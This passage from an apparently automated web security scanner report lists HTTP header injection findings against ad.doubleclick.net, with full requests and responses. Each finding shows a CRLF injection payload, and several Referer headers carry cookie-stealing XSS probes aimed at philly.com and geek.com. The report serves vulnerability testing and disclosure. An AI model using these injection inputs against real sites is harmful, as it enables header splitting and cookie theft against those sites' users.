Referer: http://www.philly.com/s?action=reg&requested=y&rurl=http%3A%2F%2Fwww.philly.com%2Fphilly%2Fnews%2Fnation_world%2F121548659.html%3Fef135%27%3Balert%28document.cookie%29%2F%2F4b169261d24%3D1
Cookie: id=c60bd0733000097||t=1297260501|et=730|cs=g_qf15ye

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/2043e
f14956544cf/N3175.272756.AOL-ADVERTISING2/B4640114.5;sz=728x90;click=http: //r1-ads.ace.advertising.com/click/site=0000801877/mnum=0000884206/cstr=1219384=_4dc949b1,2440706181,801877^884206^1183^0,1_/xsxdata=$xsxdata/bnum=1219384/optn=64
Date: Tue, 10 May 2011 14:25:22 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

3.18. http://ad.doubleclick.net/adj/N5776.126265.CASALEMEDIA/B5120103.7 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/N5776.126265.CASALEMEDIA/B5120103.7

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 53cb3%0d%0a191ad04e8be was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /53cb3%0d%0a191ad04e8be/N5776.126265.CASALEMEDIA/B5120103.7;sz=300x250;click0=http://c.casalemedia.com/c/4/1/84667/;ord=567896543? HTTP/1.1
Host: ad.doubleclick.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://cdn.optmd.com/V2/84667/210582/index.html
Cookie: id=c60bd0733000097||t=1297260501|et=730|cs=g_qf15ye

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/53cb3
191ad04e8be/N5776.126265.CASALEMEDIA/B5120103.7;sz=300x250;click0=http: //c.casalemedia.com/c/4/1/84667/;ord=567896543
Date: Tue, 10 May 2011 14:26:40 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

3.19. http://ad.doubleclick.net/adj/contentnext.ilm/paid [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/contentnext.ilm/paid

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 78319%0d%0ad567f4b602b was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /78319%0d%0ad567f4b602b/contentnext.ilm/paid;;tile=2;kw=cs2;sz=300x250;ord=[timestamp]? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://moconews.net/article/419-nfc-in-focus-at-google-io-as-foursquare-hashable-join-party/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA; id=22fba3001601008d|2895566/1020157/15103,1031442/454155/15097,1786739/600125/15097,799974/1016776/15096,2818894/957634/15096,2584283/504803/15096,865138/565971/15096,2789604/880805/15096,1359940/457091/15096,1672981/717726/15092,2716759/964419/15088|t=1303072660|et=730|cs=-8oc1u1u

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/78319
d567f4b602b/contentnext.ilm/paid;;tile=2;kw=cs2;sz=300x250;ord=[timestamp]:
Date: Tue, 10 May 2011 13:39:36 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

3.20. http://ad.doubleclick.net/adj/huffpost.politics/longpost [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/huffpost.politics/longpost

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 70fd5%0d%0ae6e9bec567f was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /70fd5%0d%0ae6e9bec567f/huffpost.politics/longpost;featured-posts=1;politics=1;;entry_id=859012;2012-election=1;@mostpopular=1;rick-santorum=1;elections-2012=1;rick-santorum-for-president=1;santorum-for-president=1;rick-santorum-2012=1;rick-santorum-south-carolina-straw-poll=1;santorum-2012=1;south-carolina-primary-election=1;south-carolina-straw-poll=1;south-carolina-straw-poll-2011=1;south-carolina-straw-poll-results=1;global=1;cap_12=n;qcs=D;qcs=T;qcs=2689;qcs=2687;qcs=2685;qcs=1908;qcs=1905;qcs=1592;qcs=683;qcs=680;qcs=679;qcs=678;qcs=666;qcs=665;qcs=657;;plat=win;br=ch;bv=11;subbv=0;load_mode=inline;page_type=bpage;pos=mid_article;u=300x250%7Cbpage%7Cmid_article%7C2012-election,@mostpopular,rick-santorum,elections-2012,rick-santorum-for-president,santorum-for-president,rick-santorum-2012,rick-santorum-south-carolina-straw-poll,santorum-2012,south-carolina-primary-election,south-carolina-straw-poll,south-carolina-straw-poll-2011,south-carolina-straw-poll-results%7C%7C%7CD,T,2689,2687,2685,1908,1905,1592,683,680,679,678,666,665,657%7C859012%7C%7C%7C;sz=300x250;tile=3;ord=72222061? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.huffingtonpost.com/2011/05/07/rick-santorum-south-carolina-straw-poll_n_859012.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA; id=22fba3001601008d|2895566/1020157/15103,1031442/454155/15097,1786739/600125/15097,799974/1016776/15096,2818894/957634/15096,2584283/504803/15096,865138/565971/15096,2789604/880805/15096,1359940/457091/15096,1672981/717726/15092,2716759/964419/15088|t=1303072660|et=730|cs=-8oc1u1u

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/70fd5
e6e9bec567f/huffpost.politics/longpost;featured-posts=1;politics=1;;entry_id=859012;2012-election=1;@mostpopular=1;rick-santorum=1;elections-2012=1;rick-santorum-for-president=1;santorum-for-president=1;rick-santorum-2012=1;rick-santorum-south-carolina-straw-poll=1;santorum-2012=1;south-caro:
Date: Tue, 10 May 2011 13:21:43 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

3.21. http://ad.doubleclick.net/adj/huffpost.politics/news [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/huffpost.politics/news

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 8c28c%0d%0a2dc2a43a1fe was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /8c28c%0d%0a2dc2a43a1fe/huffpost.politics/news;featured-posts=1;politics=1;;entry_id=859012;2012-election=1;@mostpopular=1;rick-santorum=1;elections-2012=1;rick-santorum-for-president=1;santorum-for-president=1;rick-santorum-2012=1;rick-santorum-south-carolina-straw-poll=1;santorum-2012=1;south-carolina-primary-election=1;south-carolina-straw-poll=1;south-carolina-straw-poll-2011=1;south-carolina-straw-poll-results=1;global=1;cap_12=n;qcs=D;qcs=T;qcs=2689;qcs=2687;qcs=2685;qcs=1908;qcs=1905;qcs=1592;qcs=683;qcs=680;qcs=679;qcs=678;qcs=666;qcs=665;qcs=657;;plat=win;br=ch;bv=11;subbv=0;load_mode=inline;page_type=bpage;pos=right_rail_flex;u=300x250,300x600%7Cbpage%7Cright_rail_flex%7C2012-election,@mostpopular,rick-santorum,elections-2012,rick-santorum-for-president,santorum-for-president,rick-santorum-2012,rick-santorum-south-carolina-straw-poll,santorum-2012,south-carolina-primary-election,south-carolina-straw-poll,south-carolina-straw-poll-2011,south-carolina-straw-poll-results%7C%7C%7CD,T,2689,2687,2685,1908,1905,1592,683,680,679,678,666,665,657%7C859012%7C%7C%7C;sz=300x250,300x600;tile=5;ord=72222061? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.huffingtonpost.com/2011/05/07/rick-santorum-south-carolina-straw-poll_n_859012.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA; id=22fba3001601008d|2895566/1020157/15103,1031442/454155/15097,1786739/600125/15097,799974/1016776/15096,2818894/957634/15096,2584283/504803/15096,865138/565971/15096,2789604/880805/15096,1359940/457091/15096,1672981/717726/15092,2716759/964419/15088|t=1303072660|et=730|cs=-8oc1u1u

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/8c28c
2dc2a43a1fe/huffpost.politics/news;featured-posts=1;politics=1;;entry_id=859012;2012-election=1;@mostpopular=1;rick-santorum=1;elections-2012=1;rick-santorum-for-president=1;santorum-for-president=1;rick-santorum-2012=1;rick-santorum-south-carolina-straw-poll=1;santorum-2012=1;south-carolina:
Date: Tue, 10 May 2011 13:27:13 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

3.22. http://ad.doubleclick.net/adj/huffpost.politics/news/curtain [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/huffpost.politics/news/curtain

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 79d28%0d%0ae5080b05c95 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /79d28%0d%0ae5080b05c95/huffpost.politics/news/curtain;featured-posts=1;politics=1;;entry_id=859012;2012-election=1;@mostpopular=1;rick-santorum=1;elections-2012=1;rick-santorum-for-president=1;santorum-for-president=1;rick-santorum-2012=1;rick-santorum-south-carolina-straw-poll=1;santorum-2012=1;south-carolina-primary-election=1;south-carolina-straw-poll=1;south-carolina-straw-poll-2011=1;south-carolina-straw-poll-results=1;global=1;cap_12=n;qcs=D;qcs=T;qcs=2689;qcs=2687;qcs=2685;qcs=1908;qcs=1905;qcs=1592;qcs=683;qcs=680;qcs=679;qcs=678;qcs=666;qcs=665;qcs=657;;plat=win;br=ch;bv=11;subbv=0;load_mode=inline;page_type=bpage;pos=curtain;dcopt=ist;u=938x200%7Cbpage%7Ccurtain%7C2012-election,@mostpopular,rick-santorum,elections-2012,rick-santorum-for-president,santorum-for-president,rick-santorum-2012,rick-santorum-south-carolina-straw-poll,santorum-2012,south-carolina-primary-election,south-carolina-straw-poll,south-carolina-straw-poll-2011,south-carolina-straw-poll-results%7C%7C%7CD,T,2689,2687,2685,1908,1905,1592,683,680,679,678,666,665,657%7C859012%7C%7C%7C;sz=938x200;tile=2;ord=72222061? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.huffingtonpost.com/2011/05/07/rick-santorum-south-carolina-straw-poll_n_859012.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA; id=22fba3001601008d|2895566/1020157/15103,1031442/454155/15097,1786739/600125/15097,799974/1016776/15096,2818894/957634/15096,2584283/504803/15096,865138/565971/15096,2789604/880805/15096,1359940/457091/15096,1672981/717726/15092,2716759/964419/15088|t=1303072660|et=730|cs=-8oc1u1u

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/79d28
e5080b05c95/huffpost.politics/news/curtain;featured-posts=1;politics=1;;entry_id=859012;2012-election=1;@mostpopular=1;rick-santorum=1;elections-2012=1;rick-santorum-for-president=1;santorum-for-president=1;rick-santorum-2012=1;rick-santorum-south-carolina-straw-poll=1;santorum-2012=1;south-:
Date: Tue, 10 May 2011 13:20:24 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

3.23. http://ad.doubleclick.net/adj/ns.androidcentral/general/archive [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/ns.androidcentral/general/archive

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 61eab%0d%0a1560136f95c was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /61eab%0d%0a1560136f95c/ns.androidcentral/general/archive;net=ns;u=,ns-13398115_1305033285,11f8f328940989e,itbusmb,dx.16-dx.23-dx.17-mm.ag1-mm.ak1-mm.am1-mm.aq1;;ppos=btf;kw=;tile=2;cmw=owl;sz=300x250,336x280;net=ns;ord1=505344;contx=itbusmb;dc=w;btg=dx.16;btg=dx.23;btg=dx.17;btg=mm.ag1;btg=mm.ak1;btg=mm.am1;btg=mm.aq1;ord=2250960881356150? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.androidcentral.com/android-central-google-io-2011
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA; id=22fba3001601008d|2895566/1020157/15103,1031442/454155/15097,1786739/600125/15097,799974/1016776/15096,2818894/957634/15096,2584283/504803/15096,865138/565971/15096,2789604/880805/15096,1359940/457091/15096,1672981/717726/15092,2716759/964419/15088|t=1303072660|et=730|cs=-8oc1u1u

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/61eab
1560136f95c/ns.androidcentral/general/archive;net=ns;u=,ns-13398115_1305033285,11f8f328940989e,itbusmb,dx.16-dx.23-dx.17-mm.ag1-mm.ak1-mm.am1-mm.aq1;;ppos=btf;kw=;tile=2;cmw=owl;sz=300x250,336x280;net=ns;ord1=505344;contx=itbusmb;dc=w;btg=dx.16;btg=dx.23;btg=dx.17;btg=mm.ag1;btg=mm.ak1;btg=m:
Date: Tue, 10 May 2011 13:40:01 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

3.24. http://ad.doubleclick.net/adj/ph.admin/adsense [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/ph.admin/adsense

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 4b413%0d%0acbd46c173ef was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /4b413%0d%0acbd46c173ef/ph.admin/adsense;!category=register;type=admin;dcopt=ist;pos=google;tile=11;sz=728x90;ord=1305037222218? HTTP/1.1
Host: ad.doubleclick.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.philly.com/s?action=reg&requested=y&rurl=http%3A%2F%2Fwww.philly.com%2Fphilly%2Fnews%2Fnation_world%2F121548659.html%3Fef135%27%3Balert%28document.cookie%29%2F%2F4b169261d24%3D1
Cookie: id=c60bd0733000097||t=1297260501|et=730|cs=g_qf15ye

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/4b413
cbd46c173ef/ph.admin/adsense;!category=register;type=admin;dcopt=ist;pos=google;tile=11;sz=728x90;ord=1305037222218:
Date: Tue, 10 May 2011 14:26:41 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

3.25. http://ad.doubleclick.net/adj/ph.admin/register [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/ph.admin/register

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 9ddc8%0d%0ab62af171f16 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /9ddc8%0d%0ab62af171f16/ph.admin/register;!category=register;type=admin;dcopt=ist;pos=leader;tile=1;sz=728x90;ord=1305037222218? HTTP/1.1
Host: ad.doubleclick.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.philly.com/s?action=reg&requested=y&rurl=http%3A%2F%2Fwww.philly.com%2Fphilly%2Fnews%2Fnation_world%2F121548659.html%3Fef135%27%3Balert%28document.cookie%29%2F%2F4b169261d24%3D1
Cookie: id=c60bd0733000097||t=1297260501|et=730|cs=g_qf15ye

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/9ddc8
b62af171f16/ph.admin/register;!category=register;type=admin;dcopt=ist;pos=leader;tile=1;sz=728x90;ord=1305037222218:
Date: Tue, 10 May 2011 14:24:45 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

3.26. http://ad.doubleclick.net/adj/ph.mobile/adsense [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/ph.mobile/adsense

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 88b02%0d%0a89b56735fc8 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /88b02%0d%0a89b56735fc8/ph.mobile/adsense;!category=mobile;type=primary;dcopt=ist;pos=google;tile=12;sz=728x90;ord=1305037226014? HTTP/1.1
Host: ad.doubleclick.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/mobile/
Cookie: id=c60bd0733000097||t=1297260501|et=730|cs=g_qf15ye

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/88b02
89b56735fc8/ph.mobile/adsense;!category=mobile;type=primary;dcopt=ist;pos=google;tile=12;sz=728x90;ord=1305037226014:
Date: Tue, 10 May 2011 14:25:43 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

3.27. http://ad.doubleclick.net/adj/ph.news/adsense [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/ph.news/adsense

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 382f5%0d%0a8a070142022 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /382f5%0d%0a8a070142022/ph.news/adsense;!category=nation_world;art=inq;type=article;dcopt=ist;pos=google;tile=1;sz=300x250;ord=1305037179578? HTTP/1.1
Host: ad.doubleclick.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1
Cookie: id=c60bd0733000097||t=1297260501|et=730|cs=g_qf15ye

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/382f5
8a070142022/ph.news/adsense;!category=nation_world;art=inq;type=article;dcopt=ist;pos=google;tile=1;sz=300x250;ord=1305037179578:
Date: Tue, 10 May 2011 14:21:45 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

3.28. http://ad.doubleclick.net/adj/ph.news/nation_world [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/ph.news/nation_world

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 200d0%0d%0aa3dc10f3324 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /200d0%0d%0aa3dc10f3324/ph.news/nation_world;!category=nation_world;art=inq;type=article;dcopt=ist;pos=leader;tile=1;sz=728x90;ord=1305037179578? HTTP/1.1
Host: ad.doubleclick.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1
Cookie: id=c60bd0733000097||t=1297260501|et=730|cs=g_qf15ye

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/200d0
a3dc10f3324/ph.news/nation_world;!category=nation_world;art=inq;type=article;dcopt=ist;pos=leader;tile=1;sz=728x90;ord=1305037179578:
Date: Tue, 10 May 2011 14:21:36 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

3.29. http://ad.doubleclick.net/adj/q1.philly/news [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/q1.philly/news

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 78e48%0d%0af7cf34ba712 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /78e48%0d%0af7cf34ba712/q1.philly/news;net=q1;u=,q1-53142949_1305033112,11f8f328940989e,polit,q1.polit_h-q1.none_h-q1.ent_h-q1.food_h-q1.sports_h-dx.16-dx.23-dx.17-mm.ag1-mm.ak1-mm.am1-mm.aq1-cm.ent_h-cm.music_h-cm.weath_h-cm.sports_h;;sz=300x600;net=q1;ord1=158490;contx=polit;dc=w;btg=q1.polit_h;btg=q1.none_h;btg=q1.ent_h;btg=q1.food_h;btg=q1.sports_h;btg=dx.16;btg=dx.23;btg=dx.17;btg=mm.ag1;btg=mm.ak1;btg=mm.am1;btg=mm.aq1;btg=cm.ent_h;btg=cm.music_h;btg=cm.weath_h;btg=cm.sports_h;ord=[timestamp]? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA; id=22fba3001601008d|2895566/1020157/15103,1031442/454155/15097,1786739/600125/15097,799974/1016776/15096,2818894/957634/15096,2584283/504803/15096,865138/565971/15096,2789604/880805/15096,1359940/457091/15096,1672981/717726/15092,2716759/964419/15088|t=1303072660|et=730|cs=-8oc1u1u

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/78e48
f7cf34ba712/q1.philly/news;net=q1;u=,q1-53142949_1305033112,11f8f328940989e,polit,q1.polit_h-q1.none_h-q1.ent_h-q1.food_h-q1.sports_h-dx.16-dx.23-dx.17-mm.ag1-mm.ak1-mm.am1-mm.aq1-cm.ent_h-cm.music_h-cm.weath_h-cm.sports_h;;sz=300x600;net=q1;ord1=158490;contx=polit;dc=w;btg=q1.polit_h;btg=q1:
Date: Tue, 10 May 2011 13:14:50 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

3.30. http://ad.doubleclick.net/adj/zdgeek.dart/geek-cetera [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adj/zdgeek.dart/geek-cetera

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 9dcfe%0d%0aba92f5cd663 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /9dcfe%0d%0aba92f5cd663/zdgeek.dart/geek-cetera;pos=top;dcopt=ist;!category=geek-cetera;sz=160x600;tile=1;ord=6872733993620893? HTTP/1.1
Host: ad.doubleclick.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.geek.com/articles/geek-pick/63398--%3E%3Cscript%3Ealert(%22DORK%22)%3C/script%3E7861d958a55/
Cookie: id=c60bd0733000097||t=1297260501|et=730|cs=g_qf15ye

Response

HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 36
Location: http://static.2mdn.net/9dcfe
ba92f5cd663/zdgeek.dart/geek-cetera;pos=top;dcopt=ist;!category=geek-cetera;sz=160x600;tile=1;ord=6872733993620893:
Date: Tue, 10 May 2011 14:17:07 GMT
Server: GFE/2.0

<h1>Error 302 Moved Temporarily</h1>

3.31. http://ad.doubleclick.net/pfadx/philly_cim/ [dcove parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/pfadx/philly_cim/

Issue detail

The value of the dcove request parameter is copied into the DCLK_imp response header. The payload 934c2%0d%0a447bd9706e7 was submitted in the dcove parameter. This caused a response containing an injected HTTP header.

Request

GET /pfadx/philly_cim/;dcove=934c2%0d%0a447bd9706e7 HTTP/1.1
Host: ad.doubleclick.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.meebo.com/cim/sandbox.php?lang=en&version=v92_cim_11_8_0&protocol=http%3A&network=philly
Cookie: id=c60bd0733000097||t=1297260501|et=730|cs=g_qf15ye

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: video/x-ms-asf
Content-Length: 237
Cache-Control: no-cache
Pragma: no-cache
Date: Tue, 10 May 2011 14:21:11 GMT
Expires: Tue, 10 May 2011 14:21:11 GMT
DCLK_imp: v7;x;44306;0-0;0;55848032;0/0;0/0/0;;~aopt=2/1/22/0;~okv=;dcove=934c2
447bd9706e7;~cs=s:

<a target="_top" href="http://ad.doubleclick.net/click;h=v8/3b03/0/0/%2a/r;44306;0-0;0;55848032;783-50/50;0/0/0;;~aopt=2/1/22/0;~sscs=%3f"><img src="http://s0.2mdn.net/viewad/817-grey.gif" border=1 al
...[SNIP]...

3.32. http://ad.doubleclick.net/pfadx/philly_cim/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/pfadx/philly_cim/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the DCLK_imp response header. The payload 6e37b%0d%0afb30a1b7521 was submitted in the name of an arbitrarily supplied request parameter. This caused a response containing an injected HTTP header.

Request

GET /pfadx/philly_cim/;secure=false;position=1;ic22=1;ic19=1;ic17=1;ic16=1;ic12=1;ac17=1;ac16=1;ac14=1;ac12=1;ac10=1;pc1=1;pc4=1;ic9=1;ac5=1;ic3=1;ic1=1;ac8=1;ic5=1;AG=1;AK=1;AM=1;AQ=1;ac18=1;ac2=1;ic23=1;pc5=1;ic13=1;pc2=1;ic2=1;sz=24x24;dcmt=text/html;ord=1305033093514?&6e37b%0d%0afb30a1b7521=1 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://www.meebo.com/cim/sandbox.php?lang=en&version=v92_cim_11_8_0&protocol=http%3A&network=philly
